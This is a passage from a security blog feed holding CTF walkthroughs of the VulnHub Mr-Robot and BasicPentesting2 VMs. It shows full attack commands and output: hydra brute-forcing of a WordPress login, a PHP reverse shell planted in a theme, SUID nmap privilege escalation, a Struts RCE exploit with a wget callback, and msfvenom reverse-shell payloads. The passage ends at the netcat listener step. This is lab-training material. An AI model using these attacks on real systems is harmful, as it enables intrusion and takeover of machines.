&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 15px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; $ hydra -vV -L fsocity_sorted.dic -p randompass 192.168.56.101 http-post-form &quot;/wp-login.php:log=^USER^&amp;amp;pwd=^PASS^&amp;amp;wp-submit=Log+In:Invalid username&quot; -o success
&lt;/code&gt;&lt;/pre&gt;
Where -o success option is used to store result working keys. Contents of success file :&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 15px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; [80][http-post-form] host: 192.168.56.101   login: ELLIOT   password: randompass
 [80][http-post-form] host: 192.168.56.101   login: Elliot   password: randompass
 [80][http-post-form] host: 192.168.56.101   login: elliot   password: randompa
&lt;/code&gt;&lt;/pre&gt;
the username is found, then we can bruteforce the password file with same list.&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 15px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; $ hydra -vV -l elliot -P fsocity_sorted.dic 192.168.56.101 http-post-form &quot;/wp-login.php:log=^USER^&amp;amp;pwd=^PASS^&amp;amp;wp-submit=Log+In:incorrect&quot; 
&lt;/code&gt;&lt;/pre&gt;
Password fount : &lt;b&gt;ER28-0652&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
We can also use &lt;b&gt;&lt;i&gt;wpscan&lt;/i&gt;&lt;/b&gt;, for example :&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 15px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; $ wpscan --url http://192.168.56.101/wp-login.php --usernames elliot --passwords fsocity_sorted.dic --wp-content-dir &quot;http://192.168.56.101/wp-login.php&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;br /&gt;
&lt;b&gt;&lt;span style=&quot;font-size: large;&quot;&gt;Droping Backdoor on Wordpress :&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
First login to wordpress with above credentials and go to &lt;b&gt;&lt;i&gt;Appearance &amp;gt; Editor&lt;/i&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEigATcXBF3vPu64mtfBrQW5UlBmz-9pzl1WQ_31W4OERzUNuh6Kat2csy0Jl6jodq3xDMWo6INjXGOSTEg0FiNCo-lmee5jT2yOFU6K_ASx0Hmf0PTUFS1o6SSACCbzqUdbj5lnOiKQmTw/s1600/img3.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;269&quot; data-original-width=&quot;368&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEigATcXBF3vPu64mtfBrQW5UlBmz-9pzl1WQ_31W4OERzUNuh6Kat2csy0Jl6jodq3xDMWo6INjXGOSTEg0FiNCo-lmee5jT2yOFU6K_ASx0Hmf0PTUFS1o6SSACCbzqUdbj5lnOiKQmTw/s1600/img3.png&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Get the php reverse shell code from : &lt;a href=&quot;https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php&quot; target=&quot;_blank&quot;&gt;Click here to download&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;
Change the IP on script to your attacker machine and port number then put it on the Main Index page&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjj-7JZDq9Wj4AQV-wgcQRo5zkFSX-e8Jr5kE7Dge8HLmUhxsLiTeMYGxQ4bF_y_NEPNo5t06qvlfZQXpNhS7JSYm-ncsrD6uk5TlPcvcStnjccSxYs6Cs45Fy_0dU6kE5cmejU6eUTWkQ/s1600/img4.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;302&quot; data-original-width=&quot;832&quot; height=&quot;232&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjj-7JZDq9Wj4AQV-wgcQRo5zkFSX-e8Jr5kE7Dge8HLmUhxsLiTeMYGxQ4bF_y_NEPNo5t06qvlfZQXpNhS7JSYm-ncsrD6uk5TlPcvcStnjccSxYs6Cs45Fy_0dU6kE5cmejU6eUTWkQ/s640/img4.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;
Now start backdoor listener&lt;/div&gt;
&lt;div&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 15px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; $ nc -vvlp 1234
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
and open wordpress index file.&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 15px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; ajay@MBot:~$ nc -vvlp 1234
 Listening on [0.0.0.0] (family 0, port 1234)
 Connection from 192.168.56.101 47906 received!
 Linux linux 3.13.0-55-generic #94-Ubuntu SMP Thu Jun 18 00:27:10 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux
  00:13:18 up  3:57,  0 users,  load average: 0.00, 0.08, 0.46
 USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
 uid=1(daemon) gid=1(daemon) groups=1(daemon)
 /bin/sh: 0: can&#39;t access tty; job control turned off
 $
&lt;/code&gt;&lt;/pre&gt;
In the &lt;b&gt;&lt;i&gt;/home/robot&lt;/i&gt;&lt;/b&gt; folder we found 2nd key file, currently we don&#39;t have the permission to open it.&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 15px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; $ cd home/robot
 $ ls
 key-2-of-3.txt
 password.raw-md5
 $ cat key-2-of-3.txt
 cat: key-2-of-3.txt: Permission denied
 $ whoami
 daemon
&lt;/code&gt;&lt;/pre&gt;
But we the permission to read password.raw-md5 file&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 15px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; $ cat password.raw-md5
 robot:c3fcd3d76192e4007dfb496cca67e13b
&lt;/code&gt;&lt;/pre&gt;
which looks like md5 unslated password hash. Now to crack that we can use JTR(John the ripper) or john password cracking tool.&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 15px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; $ cat passhash.txt
 c3fcd3d76192e4007dfb496cca67e13b
 
 $ john passhash.txt
&lt;/code&gt;&lt;/pre&gt;
But it takes time,so we can also use online hash cracking service from crackstation.net&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhvC0cJzJAc7f4O61e21plThBd-EOeyZccOdewAlx0gSM1bSC1ijQgHjanfrXSI6y73RScgH3iWFgMHq8lkHI33dnyQq7OFL-V3ikIYPr6kEIrzUzLRWg_ZUxdBIRdsvOzF5Axcn8AVXt8/s1600/img5.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;196&quot; data-original-width=&quot;825&quot; height=&quot;152&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhvC0cJzJAc7f4O61e21plThBd-EOeyZccOdewAlx0gSM1bSC1ijQgHjanfrXSI6y73RScgH3iWFgMHq8lkHI33dnyQq7OFL-V3ikIYPr6kEIrzUzLRWg_ZUxdBIRdsvOzF5Axcn8AVXt8/s640/img5.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
So the password is :&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 15px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; abcdefghijklmnopqrstuvwxyz
&lt;/code&gt;&lt;/pre&gt;
Now lets try to login as &lt;b&gt;&lt;i&gt;robot&lt;/i&gt;&lt;/b&gt; with above password&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 15px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; $ sudo robot
 sudo: no tty present and no askpass program specified
 $ python -c &#39;import pty; pty.spawn(&quot;/bin/bash&quot;)&#39;  
 daemon@linux:/home/robot$ su robot
 su robot
 Password: abcdefghijklmnopqrstuvwxyz
 
 robot@linux:~$ cat key-2-of-3.txt
 cat key-2-of-3.txt
 822c73956184f694993bede3eb39f959
 robot@linux:~$
&lt;/code&gt;&lt;/pre&gt;
We can get 2nd flag also. Note that the &lt;b&gt;&lt;i&gt;python -c &#39;import pty; pty.spawn(&quot;/bin/bash&quot;)&#39;&lt;/i&gt;&lt;/b&gt; is used to spawn a tty shell.&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;font-size: large;&quot;&gt;&lt;b&gt;Privilege Escalation to root :&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;
There are various methods for privilege escalation, which can be found here : &lt;a href=&quot;https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/&quot; target=&quot;_blank&quot;&gt;Link (Click Here)&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;
For this VM first we try to find a binary with SUID root.&lt;/div&gt;
&lt;div&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 15px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; $ find / -perm -4000 -user root -exec ls -ld {} \; 2&amp;gt;/dev/null
 
 -rwsr-xr-x 1 root root 44168 May  7  2014 /bin/ping
 -rwsr-xr-x 1 root root 69120 Feb 12  2015 /bin/umount
 -rwsr-xr-x 1 root root 94792 Feb 12  2015 /bin/mount
 -rwsr-xr-x 1 root root 44680 May  7  2014 /bin/ping6
 -rwsr-xr-x 1 root root 36936 Feb 17  2014 /bin/su
 -rwsr-xr-x 1 root root 47032 Feb 17  2014 /usr/bin/passwd
 -rwsr-xr-x 1 root root 32464 Feb 17  2014 /usr/bin/newgrp
 -rwsr-xr-x 1 root root 41336 Feb 17  2014 /usr/bin/chsh
 -rwsr-xr-x 1 root root 46424 Feb 17  2014 /usr/bin/chfn
 -rwsr-xr-x 1 root root 68152 Feb 17  2014 /usr/bin/gpasswd
 -rwsr-xr-x 1 root root 155008 Mar 12  2015 /usr/bin/sudo
 -rwsr-xr-x 1 root root 504736 Nov 13  2015 /usr/local/bin/nmap
 -rwsr-xr-x 1 root root 440416 May 12  2014 /usr/lib/openssh/ssh-keysign
 -rwsr-xr-x 1 root root 10240 Feb 25  2014 /usr/lib/eject/dmcrypt-get-device
 -r-sr-xr-x 1 root root 9532 Nov 13  2015 /usr/lib/vmware-tools/bin32/vmware-user-suid-wrapper
 -r-sr-xr-x 1 root root 14320 Nov 13  2015 /usr/lib/vmware-tools/bin64/vmware-user-suid-wrapper
 -rwsr-xr-x 1 root root 10344 Feb 25  2015 /usr/lib/pt_chown
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
At above we use &lt;b&gt;find&lt;/b&gt; commands which finds files with SUID and then &lt;b&gt;-exec&lt;/b&gt; options will run &lt;b&gt;ls -ld&lt;/b&gt; command on the file, &lt;b&gt;2&amp;gt;/dev/null&lt;/b&gt; will redirect all the errors.&lt;br /&gt;
&lt;br /&gt;
Now there is an interesting finding :&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 15px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; -rwsr-xr-x 1 root root 504736 Nov 13  2015 /usr/local/bin/nmap
&lt;/code&gt;&lt;/pre&gt;
Now there is a method to get root shell with nmap (if it support --interactive option`), which can be found on this article :&amp;nbsp;&lt;a href=&quot;https://www.exploit-db.com/papers/18168/&quot;&gt;https://www.exploit-db.com/papers/18168/&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
Now get a root shell with nmap&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 15px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; $ nmap --interactive
 
 Starting nmap V. 3.81 ( http://www.insecure.org/nmap/ )
 Welcome to Interactive Mode -- press h &amp;lt;enter&amp;gt; for help
 nmap&amp;gt; !sh
 !sh
 # whoami
 whoami
 root
 # 
&lt;/code&gt;&lt;/pre&gt;
!! We get a root shell. Now lets find 3rd key.&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 15px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; # cd /root
 cd /root
 # ls
 ls
 firstboot_done key-3-of-3.txt
 # cat key-3-of-3.txt
 cat key-3-of-3.txt
 04787ddef27c3dee1ee161b21670b4e4
&lt;/code&gt;&lt;/pre&gt;
Thats it. !!!&lt;br /&gt;
&lt;br /&gt;
We found all the keys.&lt;/div&gt;
&lt;/div&gt;
</description><link>http://sec-articles.blogspot.com/2020/02/mrrobot-ctf-vm-walkthrough-from-vulnhub.html</link><author>noreply@blogger.com (Unknown)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEik2vwnvSuhaQIXZ5HXpCf9-6LfHx-8bmJEk_CFL6Ut3FeG85QRrK4vMxj1lM6RNBYfZ1frr0psHlPe9yC8tCuYSoHWR0Z6qwaAOcDQMldeLToiSz0gpr0M0RyhdTIFuwEtMU62SYzWGww/s72-c/img1.png" height="72" width="72"/></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-8241002864620236041.post-7439601662764251873</guid><pubDate>Sat, 01 Feb 2020 14:02:00 +0000</pubDate><atom:updated>2020-02-01T11:27:54.248-08:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">CTF</category><category domain="http://www.blogger.com/atom/ns#">Exploitation</category><category domain="http://www.blogger.com/atom/ns#">info-Sec</category><category domain="http://www.blogger.com/atom/ns#">kali-linux</category><category domain="http://www.blogger.com/atom/ns#">Metasploit-framework</category><title>BasicPentesting2 VM WalkThrough from VulnHub</title><description>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;b&gt;VM &lt;/b&gt;: BasicPentesting2&lt;br /&gt;
&lt;br /&gt;
Dwonload Link :&amp;nbsp;&lt;a href=&quot;https://www.vulnhub.com/entry/basic-pentesting-2,241/&quot;&gt;https://www.vulnhub.com/entry/basic-pentesting-2,241/&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
Start the VM and get IP of VM :&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 15px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; $ nmap -sP 192.168.56.0/24
 
 Nmap scan report for 192.168.56.1
 Host is up (0.000088s latency).
 Nmap scan report for 192.168.56.100
 Host is up (0.00017s latency).
 Nmap scan report for 192.168.56.103
 Host is up (0.00024s latency).
 Nmap done: 256 IP addresses (3 hosts up) scanned in 17.09 seconds
&lt;/code&gt;&lt;/pre&gt;
at above list &lt;i&gt;&lt;b&gt;192.168.56.103&lt;/b&gt;&lt;/i&gt; is our target VM.&lt;br /&gt;
&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: large;&quot;&gt;&lt;b&gt;Scanning the target :&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 15px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; $ nmap -sV 192.168.56.103 -oN nmap.scan
 
 Starting Nmap 7.80 ( https://nmap.org ) at 2020-01-12 18:03 UTC
 Nmap scan report for 192.168.56.103
 Host is up (0.00020s latency).
 Not shown: 994 closed ports
 PORT     STATE SERVICE     VERSION
 22/tcp   open  ssh         OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
 80/tcp   open  http        Apache httpd 2.4.18 ((Ubuntu))
 139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
 445/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
 8009/tcp open  ajp13       Apache Jserv (Protocol v1.3)
 8080/tcp open  http        Apache Tomcat 9.0.7
 Service Info: Host: BASIC2; OS: Linux; CPE: cpe:/o:linux:linux_kernel
 
 Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
 Nmap done: 1 IP address (1 host up) scanned in 12.52 seconds
&lt;/code&gt;&lt;/pre&gt;
&lt;b&gt;Scan Results :&lt;/b&gt;&lt;br /&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;OpenSSH 7.2p2&lt;/li&gt;
&lt;li&gt;Web Server on port 80&lt;/li&gt;
&lt;li&gt;Also tomcat server is running on port 8080&lt;/li&gt;
&lt;/ul&gt;
Open the web page :&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiGtQ_TAnG3_5pLi8fA89XTVGIRmryFfq8erE4lERmQExZoMBQMkAZTuWxsRpRE548_fziHDMaRkzWI6TlQPMdZ2qzt_FllrgFbFx8xF2bHO1Cs-OTRjQH7oPud-D6uirHN02oe6wwHM3k/s1600/img1.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;177&quot; data-original-width=&quot;433&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiGtQ_TAnG3_5pLi8fA89XTVGIRmryFfq8erE4lERmQExZoMBQMkAZTuWxsRpRE548_fziHDMaRkzWI6TlQPMdZ2qzt_FllrgFbFx8xF2bHO1Cs-OTRjQH7oPud-D6uirHN02oe6wwHM3k/s1600/img1.png&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
There is nothing special on the web page.&lt;br /&gt;
&lt;br /&gt;
Now lets scan the web server for some hidden urls, directories or path, with &lt;i&gt;&lt;b&gt;dirb&lt;/b&gt;&lt;/i&gt;.&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 15px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; $ dirb http://192.168.56.103/ -o dirb.scan
 
 -----------------
 DIRB v2.22
 By The Dark Raver
 -----------------
 
 OUTPUT_FILE: dirb.scan
 START_TIME: Sun Jan 12 18:17:14 2020
 URL_BASE: http://192.168.56.103/
 WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
 
 -----------------
 
 GENERATED WORDS: 4612
 
 ---- Scanning URL: http://192.168.56.103/ ----
 ==&amp;gt; DIRECTORY: http://192.168.56.103/development/
 + http://192.168.56.103/index.html (CODE:200|SIZE:158)
 + http://192.168.56.103/server-status (CODE:403|SIZE:302)
 
 ---- Entering directory: http://192.168.56.103/development/ ----
 (!) WARNING: Directory IS LISTABLE. No need to scan it.
     (Use mode &#39;-w&#39; if you want to scan it anyway)
 
 -----------------
 END_TIME: Sun Jan 12 18:17:15 2020
 DOWNLOADED: 4612 - FOUND: 2
&lt;/code&gt;&lt;/pre&gt;
As we can see there is a &lt;i&gt;&lt;b&gt;development&lt;/b&gt;&lt;/i&gt; directory, lets open it.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhTOtT6pC37EcHzB5yes8HoHQELm0VXEXxTnG9uEgaeCy7tI4n4mO7fdwxz-363voY7QU-juc2Hn1aBKMNFINiNbT8yD0A05biCBe2hfXn5buzPWepu-ArFpsnTfQPlHysp8Tt6xy211pk/s1600/img2.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;319&quot; data-original-width=&quot;439&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhTOtT6pC37EcHzB5yes8HoHQELm0VXEXxTnG9uEgaeCy7tI4n4mO7fdwxz-363voY7QU-juc2Hn1aBKMNFINiNbT8yD0A05biCBe2hfXn5buzPWepu-ArFpsnTfQPlHysp8Tt6xy211pk/s1600/img2.png&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
There are two text file :&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;dev.txt&lt;/b&gt;&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 15px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; 2018-04-23: I&#39;ve been messing with that struts stuff, and it&#39;s pretty cool! I think it might be neat
 to host that on this server too. Haven&#39;t made any real web apps yet, but I have tried that example
 you get to show off how it works (and it&#39;s the REST version of the example!). Oh, and right now I&#39;m 
 using version 2.5.12, because other versions were giving me trouble. -K
 
 2018-04-22: SMB has been configured. -K
 
 2018-04-21: I got Apache set up. Will put in our content later. -J
&lt;/code&gt;&lt;/pre&gt;
j.txt&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 15px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; For J:
 
 I&#39;ve been auditing the contents of /etc/shadow to make sure we don&#39;t have any weak credentials,
 and I was able to crack your hash really easily. You know our password policy, so please follow
 it? Change that password ASAP.
 
 -K
&lt;/code&gt;&lt;/pre&gt;
These are look like chat files, but in first file there is a conversations about apache struts version 2.5.12 installation, means there is apache structs app installed on the server, which works with java servlet, and it is on port 8080. We know that ApacheStruts version 2.5.12 is vulnerabile to remote code execution, for more details about the vulnerability visit the link : [ApacheStruts Link]. Also the testing of vulnerability is explained on that post, so just follow the instructions.&lt;br /&gt;
&lt;br /&gt;
Download exploit from here : &lt;a href=&quot;https://www.exploit-db.com/exploits/42627&quot;&gt;https://www.exploit-db.com/exploits/42627&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
Start an HTTP Server on port 1234, i am using php interpreter&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 15px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; php -S 192.168.56.1:1234
 PHP 7.2.24-0ubuntu0.18.04.1 Development Server started at Fri Dec 27 18:31:57 2019
 Listening on http://192.168.56.1:1234
 Document root is /home/ajay
 Press Ctrl-C to quit.
&lt;/code&gt;&lt;/pre&gt;
Now run the exploit :&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 15px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; $ python3 exploit.py http://192.168.56.103:8080/struts2-rest-showcase-2.5.12/orders/3 &quot;wget http://192.168.56.1:1234/Vulnerable&quot;
&lt;/code&gt;&lt;/pre&gt;
And our local web server is called by the Apache Struts server, means we can ge remote code execution on the struts server.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjkNxB25YfeZ_gO_XUMiRyY0HxJqN8dvj7QrRJvurWmIGOASWWIwoSmksdL7kLRdHyVQeTEC84QkCrCEfucG6jUrl00j2BKwuCfPmNok4unkik_8QyN3DEfufMPd7Ug_4mOTe_jDQtxbtU/s1600/exploitrun.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;508&quot; data-original-width=&quot;873&quot; height=&quot;372&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjkNxB25YfeZ_gO_XUMiRyY0HxJqN8dvj7QrRJvurWmIGOASWWIwoSmksdL7kLRdHyVQeTEC84QkCrCEfucG6jUrl00j2BKwuCfPmNok4unkik_8QyN3DEfufMPd7Ug_4mOTe_jDQtxbtU/s640/exploitrun.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;span style=&quot;font-size: large;&quot;&gt;&lt;b&gt;Getting Reverse Shell on target Server :&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
Generating reverse shell payload with msfvenom&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 15px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; $ msfvenom -p linux/x64/shell_reverse_tcp -f elf LHOST=192.168.56.1 LPORT=1234 -o rev_shell
&lt;/code&gt;&lt;/pre&gt;
Starting netcat listener at oprt 1234&lt;br /&gt;
